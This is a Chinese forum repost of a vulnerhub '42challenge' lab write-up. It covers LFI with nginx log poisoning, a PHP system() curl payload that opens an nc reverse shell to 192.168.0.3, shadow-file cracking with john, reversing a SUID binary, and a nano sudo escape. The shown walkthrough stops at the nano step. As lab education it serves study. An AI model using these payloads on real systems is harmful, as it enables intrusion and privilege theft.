搜索

[16563] 2021-03-17_记一次渗透后运用多种方式提权实战

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-03-17_记一次渗透后运用多种方式提权实战 记 一 次 渗 透 后 运 用 多 种 方 式 提 权 实 战 w i n d c c t v   F r e e B u f   2 0 2 1 - 0 3 - 1 7 近 期 在 学 习 L i n u x 提 权 ， 完 成 了 v u l n h u b 上 的 4 2 c h a l l e n g e 靶 场 。 该 靶 场 在 w e b 渗 透 阶 段 表 现 的 中 规 中 矩 ， 但 在 获 得 s h e l l 后 的 提 权 过 程 中 ， 表 现 很 出 色 。 提 权 题 目 设 计 的 逻 辑 严 谨 （ 不 会 出 现 突 然 的 脑 洞 让 你 卡 住 ） ， 注 重 基 础 知 识 的 考 察 ， 要 求 的 知 识 面 也 很 广 ， 涉 及 到 密 码 破 解 、 程 序 逆 向 分 析 、 第 三 方 应 用 提 权 、 进 程 提 权 、 s s h 免 密 登 录 、 L i n u x   A C L 访 问 控 制 权 限 等 方 面 的 知 识 ， 属 于 不 可 多 得 的 精 品 之 作 ， 下 面 就 开 始 这 次 靶 场 实 战 之 旅 。 一 、 主 机 端 口 探 测 一 、 主 机 端 口 探 测 利 用 命 令 a r p - s c a n   - l 来 发 现 靶 机 ， 然 后 看 看 靶 机 开 放 了 哪 些 端 口 ； 在 利 用 n m a p 的 脚 本 探 测 下 端 口 可 能 存 在 的 漏 洞 ； 发 现 就 开 放 了 2 个 端 口 ， 2 2 端 口 显 然 不 是 这 里 突 破 的 重 点 ， 重 点 应 该 是 w e b 端 口 。 二 、 二 、 w e b 渗 透 获 取 渗 透 获 取 s h e l l
访 问 下 w e b 看 看 ； 看 到 这 个 第 一 直 觉 时 命 令 执 行 漏 洞 ， 尝 试 输 入 ： 1 2 7 . 0 . 0 . 1 & w h o a m i 、 1 2 7 . 0 . 0 . 1 | w h o a m i 、 1 2 7 . 0 . 0 . 1 & & w h o a m i 、 1 2 7 . 0 . 0 . 1 | | w h o a m i 都 没 有 正 确 返 回 。 后 来 有 新 的 发 现 ： 看 到 这 个 ， 联 想 到 文 件 包 含 ； 原 来 是 本 地 包 含 ， 下 面 就 利 用 日 志 来 g e t s h e l l 。 尝 试 了 包 含 / v a r / l o g / a u t h . l o g ， 没 有 成 功 ， 那 就 不 能 利 用 s s h 登 录 日 志 来 获 取 s h e l l ， 我 们 通 过 n m a p 扫 描 知 道 w e b 的 中 间 件 是 n g i n x ， 那 我 们 就 可 以 利 用 n g i n x 日 志 来 g e t s h e l l 。 1 、 、 n g i n x 访 问 日 志 访 问 日 志 g e t s h e l l 访 问 日 志 可 以 读 取 到 ；
写 入 s h e l l ： 通 过 文 件 包 含 触 发 反 弹 ； 接 收 反 弹 ； c u r l   - A   “ < ? = s y s t e m ( ‘ n c   - n v   1 9 2 . 1 6 8 . 0 . 3   8 8 8 8   - e   / b i n / b a s h ’ ) ; ? > ”   h t t p : / / 1 9 2 . 1 6 8 . 0 . 4 0 / i n d e x . p h p
2 、 、 n g i n x 错 误 日 志 错 误 日 志 g e t s h e l l 错 误 日 志 也 可 读 取 到 ； 写 入 s h e l l ； 通 过 文 件 包 含 触 发 反 弹 ； 接 收 反 弹 ； 这 里 也 可 以 将 n c 的 反 弹 命 令 改 为 其 他 的 反 弹 方 式 ， 比 如 一 句 话 、 p h p 反 弹 或 b a s h 反 弹 都 可 以 ， 就 不 逐 个 演 示 了 ， 大 家 根
据 实 际 情 况 选 择 。 弹 回 了 s h e l l ， 下 一 步 就 该 提 权 了 ， 也 到 了 本 靶 场 的 精 华 之 处 ， 开 始 提 权 的 漫 长 之 旅 。 三 、 辅 助 脚 本 利 用 三 、 辅 助 脚 本 利 用 有 了 w w w - d a t a 用 户 的 s h e l l ， 先 尝 试 下 有 没 有 s u i d 提 权 的 可 能 ； 没 有 线 索 ， 看 下 用 户 文 件 ； 后 来 实 践 证 明 是 要 依 次 由 这 5 个 用 户 逐 个 提 权 ， 最 后 才 能 提 权 到 r o o t 用 户 。 先 上 内 核 辅 助 脚 本   l i n u x - e x p l o i t - s u g g e s t e r . s h
要 是 内 核 可 以 提 权 ， 这 靶 场 就 没 啥 意 思 了 ； 在 看 看 辅 助 脚 本 l i n p e a s . s h 的 结 果 ； （ 结 果 很 多 ， 就 给 出 研 判 后 可 用 的 结 果 ） 找 了 半 天 ， 去 看 看 备 份 的 密 码 文 件 。 四 、 四 、 s h a d o w 文 件 爆 破 文 件 爆 破 可 以 看 到 用 户 的 密 码 文 件 ； 然 后 用 j o h n 来 破 解 ；
爆 破 作 为 最 基 础 的 一 种 方 式 ， 还 是 需 要 掌 握 对 s h a d o w 文 件 的 爆 破 方 法 。 现 在 可 以 开 心 的 s s h 连 接 了 ， 进 入 下 一 个 提 权 。 五 、 程 序 逆 向 分 析 五 、 程 序 逆 向 分 析 — - s u i d 提 权 提 权 s s h 连 接 后 ， s u d o   - l   没 有 发 现 ， 但 s u i d 发 现 线 索 ； 运 行 下 试 试 ； 祭 出 神 器 I D A 来 看 看 ；

看 的 还 是 累 ， 上 g d b ； 进 入 关 键 函 数 t r y ， 继 续 看 ； 在 内 存 里 发 现 了 正 确 的 密 码 ；
提 权 成 功 ， 进 行 下 一 个 阶 段 。 六 、 六 、 n a n o 提 权 提 权 — - s u d o   - l 提 权 提 权 这 里 考 的 是 n a n o 的 s u d o 提 权 ； 首 先   s u d o   - u   m a r i a   / b i n / n a n o   进 入 界 面 ； 然 后 在 键 盘 上 按 住 c t r l + r ， 接 着 再 按 住 c t r l + x ； 现 在 就 可 以 输 入 命 令 了 ；
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理